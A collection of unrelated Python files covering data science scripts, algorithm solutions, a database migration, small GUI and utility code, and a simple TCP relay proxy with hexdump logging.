    '''获取角色的状态栏信息
    @param userId: int 用户id
    @param characterId: 角色的id
    '''
    player = PlayersManager().getPlayerBydynamicId(dynamicId)
    if dynamicId != player.getDynamicId():
        return {'result':False,'message':""}
    playerinfo = player.formatInfo()
    responsedata = {'result':True,'message':'',
                    'data':{'characterId':playerinfo['id'],
                            'rolename':playerinfo['nickname'],
                            'score':player.score}}
    return responsedata


import pickle
from collections import Counter
from itertools import chain

import numpy as np

from data.dataimport import import_data
from data.featuredict import FeatureDictionary
from encoders.baseencoder import AbstractEncoder

class TfidfEncoder(AbstractEncoder):
    def decoder_loss(self, data: tuple, representation: np.array) -> float:
        raise Exception("TfidfEncoder has no decoder loss")

    def get_representation_vector_size(self) -> int:
        return len(self.__feature_dict)

    def get_encoding(self, data: tuple) -> np.array:
        document_tokens = Counter(self.__feature_dict.get_id_or_unk(t) for t in data[0])
        vect = np.zeros(len(self.__feature_dict), dtype=np.float)
        for word_id, count in document_tokens.items():
            vect[word_id] = count * self.__idfs[word_id]
        vect /= len(data[0])
        return vect

    def __init__(self, train_file):
        data = import_data(train_file)

        def document_tokens():
            for snippet in data.values():
                yield snippet['original'][0]

        all_document_tokens = [s for s in document_tokens()]
        self.__feature_dict = FeatureDictionary.get_feature_dictionary_for(chain(*all_document_tokens),
                                                                           count_threshold=10)

        self.__idfs = np.ones(len(self.__feature_dict), dtype=np.int)  # use 1s for smoothing
        for document in all_document_tokens:
            document_word_ids = set(self.__feature_dict.get_id_or_unk(t) for t in document)
            for word_id in document_word_ids:
                self.__idfs[word_id] += 1

        self.__idfs = np.log(self.__idfs.astype(np.float))

    def save(self, filename):
        with open(filename, 'wb') as f:
            pickle.dump(self, f, pickle.HIGHEST_PROTOCOL)


from rabbitpy import Connection, Queue

import sys
import os

sys.path.append(
    os.path.dirname(
        os.path.abspath(
            os.path.dirname(os.path.abspath(os.path.dirname(__file__)))
        )
    )
)

from config.config_rabbitpy import URL

with Connection(URL) as conn:
    with conn.channel() as channel:
        queue = Queue(channel=channel, name="durable-test", durable=True)

        if queue.declare():
            print("Queue declared")


import sys
from collections import deque
input = sys.stdin.readline
INF = float('inf')
def dfs(start):
    global n, end, nodes
    visited = [0]*n
    stack = [start]
    while stack:
        now = stack.pop()
        if now == end:
            return True
        visited[now] = 1
        for nxt, cost in nodes[now]:
            if visited[nxt] == 0:
                stack.append(nxt)
    return False

def Belman():
    global end, dst, n
    for i in range(n+1):
        if dst[end] == -INF and i == n:
            print('gg')
            return
        for j in range(n):
            if dst[j] == -INF:
                continue
            for nxt, cost in nodes[j]:
                if dst[j] + cost > dst[nxt]:
                    dst[nxt] = dst[j] + cost
                    if i == n:
                        if dfs(nxt):
                            print('Gee')
                            return False
    return True
# start에서 end를 가는데, 비용 최댃값 구하기.
# 각 도시(노드) 도착하면 수익이 발생. 간선타면 비용 발생.
# 도착불가시 gg, 도착했는데 비용이 무한대라면 Gee 출력.
n, start, end, m = map(int,input().split())
# n,m <= 50/ w <= 백만, 음이 아닌 정수.
nodes = [[] for _ in range(n)]

for _ in range(m):
    s, e, w = map(int,input().split())
    nodes[s].append([e,w])

cities = list(map(int,input().split())) # 도시도착하면 발생 수익
dst = [-INF]*(n)

dst[start] = cities[start]
# print(dst)
# n*m 사이클 체크해서
# 한번더 했는데 값 변경이 일어났다. -> Gee
# 없는데 값이 -1이다. -> gg
# 위 사항이 아니다 -> 값출력
# cities는 음수로, 간선비용은 양수로 비교
# 이동할때마다 더 작은 값이면 갱신(부호 역전이므로 결국 최대값이 갱신됨.#
# 갱신 -> 사이클 노드.
# bfs로 경로 찾으면서 경로에 사이클 노드있을시, Gee
# 없다면
for i in range(n):
    for j in range(len(nodes[i])):
        for k in range(n):
            if nodes[i][j][0] == k:
                nodes[i][j][1] = cities[k] - nodes[i][j][1]

if Belman():
    print(dst[end])


"""empty message

Revision ID: 48edaf71b1c0
Revises: fbb243905463
Create Date: 2023-04-11 07:11:26.643501

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = '48edaf71b1c0'
down_revision = 'fbb243905463'
branch_labels = None
depends_on = None

def upgrade() -> None:
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('pars_config',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('number_pars', sa.Integer(), nullable=True),
    sa.Column('created_ad', sa.TIMESTAMP(), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    # ### end Alembic commands ###

def downgrade() -> None:
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_table('pars_config')
    # ### end Alembic commands ###


import torch
from torch.nn import Module, Conv2d, MaxPool2d, Linear, MSELoss, LSTM, LeakyReLU, Sequential, ReLU, Sigmoid, functional
from torch.optim import Adam
import matplotlib.pyplot as plt
from agent import NetWork
from torch import device as devicer, cuda
import pickle
from saver import loadagent
device = devicer('cuda' if cuda.is_available() else 'cpu')

def normalize(all_data, train_start, train_end, test_start, test_end, normalizer="minmax", splits = 1):
    nans = torch.sum(torch.sum(all_data.isnan(), axis=1), axis=1)
    all_data = all_data[nans == False]
    new_all_data = all_data[:,-train_start:-test_end]
    slice_size = new_all_data.shape[1]//splits

    shape0, shape2 = new_all_data.shape[0], new_all_data.shape[2]
    #means = torch.zeros([shape0, 1, shape2]).to(device=device)
    #stds = torch.zeros([shape0, 1, shape2]).to(device=device)
    mins = torch.zeros([shape0, 1, shape2]).to(device=device)
    maxes = torch.zeros([shape0, 1, shape2]).to(device=device)
    for i in range(shape0):
        for j in range(shape2):
            #means[i,0,j] = torch.mean(new_all_data[i,:,j])
            #stds[i,0,j] = torch.std(new_all_data[i,:,j])
            mins[i,0,j] = torch.min(new_all_data[i,:,j])
            maxes[i,0,j] = torch.max(new_all_data[i,:,j])

    new_all_data2 = torch.tensor([]).to(device)
    new_mins = torch.tensor([]).to(device)
    new_maxes = torch.tensor([]).to(device)
    for i in range(splits):
        new_all_data2 = torch.cat((new_all_data2, new_all_data[:, slice_size * i: slice_size * (i+1)]), 0)
        new_mins = torch.cat((new_mins, mins), 0)
        new_maxes = torch.cat((new_maxes, maxes), 0)

    print(new_all_data2.shape)
    #train_start, train_end, test_start, test_end = 280, 120, 120, 1
    temp_min = new_mins[:,0,3] < 1
    idx_min = temp_min.nonzero()
    temp_max = new_maxes[:,0,3] > 1000
    idx_max = temp_max.nonzero()
    temp_min2 = new_mins[:,0,3] > 1000
    idx_min2 = temp_min2.nonzero()
    temp_max2 = new_maxes[:,0,3] < 1
    idx_max2 = temp_max2.nonzero()
    bad_data = torch.cat((idx_min, idx_max, idx_min2, idx_max2), 0).flatten()
    bad_data = torch.unique(bad_data)
    temper = torch.ones(new_all_data2.shape[0])
    temper[bad_data] = 0
    temper = temper.nonzero().flatten()
    new_mins = new_mins[temper]
    new_maxes = new_maxes[temper]
    new_all_data2 = new_all_data2[temper]
    print(new_all_data2.shape)

    final_data = new_all_data2[:,:-(train_end - train_start)//splits]
    simulate = new_all_data2[:,-(train_end - train_start)//splits:]
    print(final_data.shape, simulate.shape, -train_end//splits)
    # torch.sort((new_mins)[:,0,3])[0]
    # plt.plot(torch.sort((new_mins)[:,0,3])[0][:].cpu().numpy())
    # plt.show()
    # plt.plot(torch.sort((new_maxes)[:,0,3], descending=True)[0][:].cpu().numpy())
    # plt.show()
    if normalizer == "minmax":
        normalized_data = (final_data - new_mins)/(new_maxes - new_mins)
        normalized_simulate = (simulate - new_mins)/(new_maxes - new_mins)
        return normalized_data, normalized_simulate, new_mins, new_maxes


#!/usr/bin/env python
# coding: utf-8

# In[47]:

import pandas as pd
import numpy as np

# #### 1.데이터 불러오기
#
#
#
#

# In[109]:

df = pd.read_csv('C:/Users/Admin/Desktop/python/titanic_train.csv')

# In[4]:

df.head()

# In[9]:

df.info()

# #### 2.나이가 30살 이상 인 데이터 출력
#
#
#
#

# In[10]:

df[df['Age'] >= 30]

# #### 3. 500 번째 row까지 출력

# In[12]:

df.iloc[:500,]

# #### 4. Survived =0 이고, Age < 30 인 데이터 출력

# In[16]:

df.columns

# In[36]:

issurvied = df['Survived']  == 0
is_age_under_30 = df['Age'] <30
df[is_age_under_30 & issurvied]

# #### 5. Survived =0 이고, Age < 30 인 사람의 Age 출력

# In[45]:

survived_under_30 =df[is_age_under_30 & issurvied]
survived_under_30[['Age']]

# ####  6. 생존한 사람들의 'Embarked'의 항목별로 count를 출력
# ex)
# S 204
# C 172
# Q 54

# In[162]:

df[issurvied].groupby(['Embarked']).size()

# #### 7. 'Age'의 결측값을 'Age'의 평균값으로 대체하고 변경사항을 데이터프레임에 바로 적용
# **(데이터프레임 출력 시 'Age'의 결측값이 평균값으로 변경되어야함)**

# In[164]:

df1 = df['Age'].isnull()
df[df1]

# In[165]:

#평균 구하기
#Mean = pd.DataFrame.mean(df['Age'])
#Mean = round(Mean,2)

df['Age'].fillna(df['Age'].mean(), inplace =True)

# In[167]:

df['Age'].isnull().sum()

# #### 8. 'Fare'(운임요금)이 20 이하인 사람들만 있는 데이터프레임에서
# #### 'Age' column을 제거한 결과를 새로운 데이터프레임 'df_drop_age' 으로 생성
# **(df_drop_age.head()를 찍으면 'Age' column이 없고 'Fare' 값이 20 이하로 이루어져 있어야 함)**
# (df.loc[] 활용하여 1줄로 작성)
#
#

# In[168]:

#fare_under_20 = df[df['Fare']<20]
#df_drop_age = fare_under_20.drop(columns = ["Age"],axis =1)
df_drop_age = df.loc[df['Fare']<= 20].drop('Age',axis = 1)

# In[140]:


import pandas as pd
import matplotlib.pyplot as plt
import tensorflow as tf
import numpy as np
import networkx as nx
import os
from sklearn.model_selection import KFold, train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.metrics import mean_squared_error, mean_absolute_error
import seaborn as sns
from CINN_customized_structure_v2 import CINN

### Load data
data_name = 'TEP_Faulty_Training_Sample.csv'
target_variable_name = 'xmeas_15'

df = pd.read_csv(data_name)
columns_names = list(df.columns)
node_labels = columns_names
target_node = list(df.columns).index(target_variable_name)

print('target variable name:',target_variable_name, ', node ID: ', target_node, node_labels)

# 'layers_of_intermediate_nodes': [[22,23,24,25,31],[5,7],[8],[6],[21],[10],[12,26,13],[28],[14],[16],[29],[18]]

causality_structure = { 'root_nodes':[0,1,2,3,4,9,11,20], 'intermediate_nodes':[5,6,7,8,10,12,13,14,16,18,21,22,23,24,25,26,28,29,31], 'leaf_nodes':[15,17,19,27,30,32],
'layers_of_intermediate_nodes': [[22,23,24,25,31],[5,7],[8],[6],[21],[10],[12,26,13],[28],[14],[16],[29],[18]] }

print(causality_structure)

### Load causality structure into neural network
scaler = StandardScaler()
scaler.fit(df)
data = scaler.transform(df)

train, test, _ , _ = train_test_split(data, data, test_size=0.2, random_state=42)

# without root_nodes (root_nodes are [4,7])
nodes_list = [5,6,7,8,10,12,13,14,16,18,21,22,23,24,25,26,28,29,31,15,17,19,27,30,32]

# To check target_node position in the nodes_list
target_node_index = nodes_list.index(target_node)  # 5

root_nodes = [0,1,2,3,4,9,11,20]
intermediate_nodes = [5,6,7,8,10,12,13,14,16,18,21,22,23,24,25,26,28,29,31]
leaf_nodes = [15,17,19,27,30,32]

kf = KFold(n_splits = 10, random_state = 2, shuffle=True)

X_test = test[:, root_nodes]
y_test_int = test[:, intermediate_nodes]
y_test_output = test[:, leaf_nodes]

batch_size = 256
no_epochs = 600
results = []
mse_best = []

for fold, (train_idx, val_idx) in enumerate(kf.split(train)):
    print(f"Fold {fold}:")

    X_train = train[train_idx][:, root_nodes]
    X_val = train[val_idx][:, root_nodes]

    y_train_int = train[train_idx][:, intermediate_nodes]
    y_train_output = train[train_idx][:, leaf_nodes]

    y_val_int = train[val_idx][:, intermediate_nodes]
    y_val_output = train[val_idx][:, leaf_nodes]

    model = CINN(causality_structure, target_node, batch_size, 'original')
    # plot the architecture of NN model
    tf.keras.utils.plot_model(model.model, to_file= 'architecture.png', show_shapes=True, show_layer_names=True)
    model.assign_data(X_train, y_train_int, y_train_output, X_val, y_val_int, y_val_output,
                      X_test, y_test_int, y_test_output)

    initial_weights = model.model.get_weights()
    optim = tf.keras.optimizers.Adam()
    model.train(no_epochs, optim)

    # Choose the best weights on the validation data from 10 fold results
    model.model.set_weights(model.best_weights)
    y = model.y_test_combined[:, target_node_index]
    y_pred = model.model.predict(model.X_test)[:, target_node_index]
    model.model.reset_states()

    mse = mean_squared_error(y, y_pred)
    results.append([fold, 'No_PCGrad', mse])
    print (fold, mse)

df_results = pd.DataFrame(results, columns = ['Run', 'Method', 'MSE'])

df_results.to_csv('results.csv', index = False)

print (df_results['MSE'].mean())
print (df_results['MSE'].std())


from collections import deque
class Solution(object):
    def numIslands(self, grid):
        """
        :type grid: List[List[str]]
        :rtype: int
        """

        if not grid or not grid[0]:
            return 0
        islands=0

        for i in range(len(grid)):
            for j in range(len(grid[0])):
                if grid[i][j]!='0':
                    self.bfs(grid,i,j)
                    islands+=1
        return islands

    def bfs(self,grid,sx,sy):
        if grid[sx][sy]=='0':
            return
        queue=[]
        queue.append((sx,sy))
        dirc=[(-1,0),(1,0),(0,1),(0,-1)]
        while queue:
            cx,cy=queue.pop(0)
            for d in dirc:
                nx=cx+d[0]
                ny=cy+d[1]
                if nx>=0 and nx<len(grid) and ny>=0 and ny<len(grid[0]) and grid[nx][ny]=='1':
                    grid[nx][ny]='0'
                    queue.append((nx,ny))


import math                                     # Importing modules

def points_distance(point1, point2):
    '''Returns distance between two coordinate points.'''  # Documentation
    horz_dist = (point1[0] - point2[0])**2
    vert_dist = (point1[1] - point2[1])**2
    length = math.sqrt(horz_dist + vert_dist)   # To be returned value
    return length

points = int(input('Enter number of points: ')) # Taking input
list_points = []
print()

for i in range(1, points+1):
      point = eval(input(f'Enter point {i}: ')) # Coordinates for each point
      list_points.append(point)

total_dist = 0

for j in range(points-1):
      dist = points_distance(list_points[j], list_points[j+1])    # Usinf function
      total_dist += dist

print(f'\nThe total distance between these points: {total_dist:.3f} units.')


#!/usr/bin/python3
""" append after module"""

def append_after(filename="", search_string="", new_string=""):
    """ inserts a line of text to a file, after each line
    containing a specific string"""
    with open(filename, mode='r+', encoding='utf-8') as f:
        lines = f.readlines()
        for i, line in enumerate(lines):
            if search_string in line:
                lines[i] = lines[i] + new_string
        f.seek(0)
        for line in lines:
            f.write(line)


"""
Reverse a linked list from position m to n. Do it in-place and in one-pass.

For example:
Given 1->2->3->4->5->NULL, m = 2 and n = 4,

return 1->4->3->2->5->NULL.

Note:
Given m, n satisfy the following condition:
1 ≤ m ≤ n ≤ length of list.
"""

# Definition for singly-linked list.

class ListNode(object):

    def __init__(self, x):
        self.val = x
        self.next = None

    def __repr__(self):
        repr_str, node = '', self
        while node:
            repr_str += str(node.val) + ' -> '
            node = node.next
        return repr_str + 'None'

class Solution(object):

    def reverseBetween(self, head, m, n):
        """
        :type head: ListNode
        :type m: int
        :type n: int
        :rtype: ListNode
        """
        if m != 1:
            i, prev, node = 0, None, head
            while i < m-1:
                prev = node
                node = node.next
                i += 1
            prev.next = self.reverseKNodes(node, n-m+1)
        else:
            head = self.reverseKNodes(head, n-m+1)
        return head

    def reverseKNodes(self, head, k):
        if head is None or head.next is None:
            return head
        pre, cur, i = None, head, 0
        while i < k:
            nxt = cur.next
            cur.next = pre
            pre = cur
            cur = nxt
            i += 1
        node = pre
        while node.next:
            node = node.next
        node.next = cur
        return pre

s = Solution()
a, b, c, d, e = (ListNode(i) for i in 'abcde')
a.next, b.next, c.next, d.next = b, c, d, e
print(s.reverseBetween(a, 2, 4))


import os
from tkinter import Tk, Listbox, Variable, Scrollbar, Frame, messagebox
from tkinter.ttk import Label, Button, Notebook
from tkinter.filedialog import asksaveasfilename
from services.exporting import Exporting

class ExportingFrame(Frame):
    def __init__(self, master, competition, cnf={}, **kw):
        super().__init__(master=master, cnf={}, **kw)
        self._competition = competition
        self.create_view()

    def create_view(self):
        start_list_button = Button(self, text="Export start list", command=self._export_start_list)
        results_button = Button(self, text="Export results", command=self._export_results)

        start_list_button.grid(row=0, column=0)
        results_button.grid(row=1, column=0)

    def _export_string(self, string):
        file_types = (("HTML files", "*.html"), ("All files", "*.*"))
        path = asksaveasfilename(defaultextension=".html", filetypes=file_types)
        try:
            with open(path, "w") as file:
                file.write(string)
        except:
            messagebox.showerror("File saving failed", "Could not save the file")
            return
        open_file_now = messagebox.askyesno(
            "File saved",
            f"File is successfully saved to {path}. Would you like to open it now?"
        )
        if open_file_now:
            os.system(f"open \"{path}\"")

    def _export_start_list(self):
        html_string = Exporting(self._competition).start_list_html()
        self._export_string(html_string)

    def _export_results(self):
        html_string = Exporting(self._competition).results_list_html()
        self._export_string(html_string)


'''

'''

def separarint(linhas):
    linhas = linhas[0].split(" ")
    linhas = [int(i) for i in linhas]
    return linhas

linha1 = [input()]
linha1 = separarint(linha1)
linha2 = [input()]
linha2 = separarint(linha2)

#variaveis
nJogador = linha1[0]
turno = linha1[1]
jogador = 0
pontos = []
pontosF = []
cont = 0
pontosFO = []

for jogador in range(nJogador):
    pontos.append(linha2[jogador::nJogador])
for cont in range(nJogador):
    pontosF.append(sum(pontos[cont]))

pontosFO = sorted(pontosF,reverse=True)
#maiorP = pontosFO[0]
pontosF2 = pontosF[::-1]
ganhador = (len(pontosF) - pontosF2.index(pontosFO[0]))
print(ganhador)


"""
    2.5 创建一个 TCP 代理
"""
import threading
import socket
import sys

def receive_from(connection):
    buffer = ""
    connection.settimeout(2)
    try:
        while True:
            data = connection.recv(4096)
            if not data:
                break
            buffer += data
    except:
        pass
    return buffer

def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, str) else 2

    for i in range(0, len(src), length):
        s = src[i:i+length]
        hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s])
        text = b''.join(x if 0x20 <= ord(x) < 0x7F else b'.' for x in s)
        result.append(b"%04X %-*s %s" % (i, length*(digits + 1), hexa,text))
        print(b'\n'.join(result))

def response_handler(buffer):
    return buffer

def request_handler(buffer):
    return buffer

# def proxy_handler(client_socket, remote_host, remote_port, receive_first):
#     # 连接远程主机
#     remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#     remote_socket.connect((remote_host,remote_port))
#     if receive_first:
#         remote_buffer = receive_from(remote_socket)
#         hexdump(remote_buffer)
#         # 发送给我们的响应处理
#         remote_buffer = response_handler(remote_buffer)
#         # 如果我们有数据传送给本地客户端，发送它
#         print("[<==] Sending {} bytes to localhost.".format(len(remote_buffer)))
#         client_socket.send(remote_buffer)
#     while True:
#         # 从本地读取数据
#         local_buffer = receive_from(client_socket)
#         if len(local_buffer):
#             print("[==>] Received {} bytes from localhost.".format(len(local_buffer)))
#             hexdump(local_buffer)
#             # 发送给我们本地的请求
#             local_buffer = request_handler(local_buffer)
#             # 向远程主机发送数据
#             remote_socket.send(local_buffer)
#             print("[==>] Send to remote.")
#         # 接收响应的数据
#         remote_buffer = receive_from(remote_socket)
#         if len(remote_buffer):
#             print("[<==] Receive {} bytes from remote.".format(len(remote_buffer)))
#             hexdump(remote_buffer)
#             # 发送到响应处理函数
#             remote_buffer = response_handler(remote_buffer)
#             # 将响应发送给本地 socket
#             client_socket.send(remote_buffer)
#             print("[<==] Send to localhost")
#         # 如果两边都没有数据 关闭连接
#         if not len(local_buffer) or not len(remote_buffer):
#             client_socket.close()
#             remote_socket.close()
#             print("[*] No more data. Closing connection")
#             break

def proxy_handler(client_socket, remote_host, remote_port, receive_first=True):
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host, remote_port))

    if receive_first:
        remote_buffer = remote_socket.recv(4096)
        hexdump(remote_buffer)
        client_socket.send(remote_buffer)

    while True:
        local_buffer = client_socket.recv(4096)
        hexdump(local_buffer)
        remote_socket.send(local_buffer)

        remote_buffer = remote_socket.recv(4096)
        hexdump(remote_buffer)
        client_socket.send(remote_buffer)

        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            break

def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        server.bind((local_host,local_port))
    except:
        print("[!!] Failed to listen on %s:%d"%(local_host,local_port))
        print("[!!] Check for other listening sockets or correct-permissions.")
        sys.exit()
    print("[*] Listening on %s:%d"%(local_host,local_port))
    server.listen(5)
    while True:
        client_socket, addr = server.accept()
        # 打印出本地连接信息
        print("[==>] Received incoming connection from %s:%d"%(addr[0],addr[1]))
        # 开启一个线程与远程主机通信
        proxy_thread = threading.Thread(target=proxy_handler,
                                        args=(client_socket,remote_host,remote_port,receive_first))
        proxy_thread.start()

# def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
#     server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#     server.bind((local_host,local_port))
#     server.listen(5)
#     while True:
#         client_socket,addr = server.accept()
#         proxy_thread = threading.Thread(target=proxy_handler,
#                                         args=(client_socket, remote_host, remote_port, receive_first))
#         proxy_thread.start()

def main():
    # 没有华丽的命令行解析
    if len(sys.argv[1:]) != 5:
        print("Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]")
        print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
        sys.exit(0)

    # 设置本地监听参数
    local_host = sys.argv[1]
    local_port = int(sys.argv[2])

    # 设置远程目标
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    # 告诉代理在发送远程主机之前连接和接收数据
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    # 现在设置好我们监听的 socket
    server_loop(local_host,local_port,remote_host,remote_port,receive_first)

if __name__ == '__main__':
    main()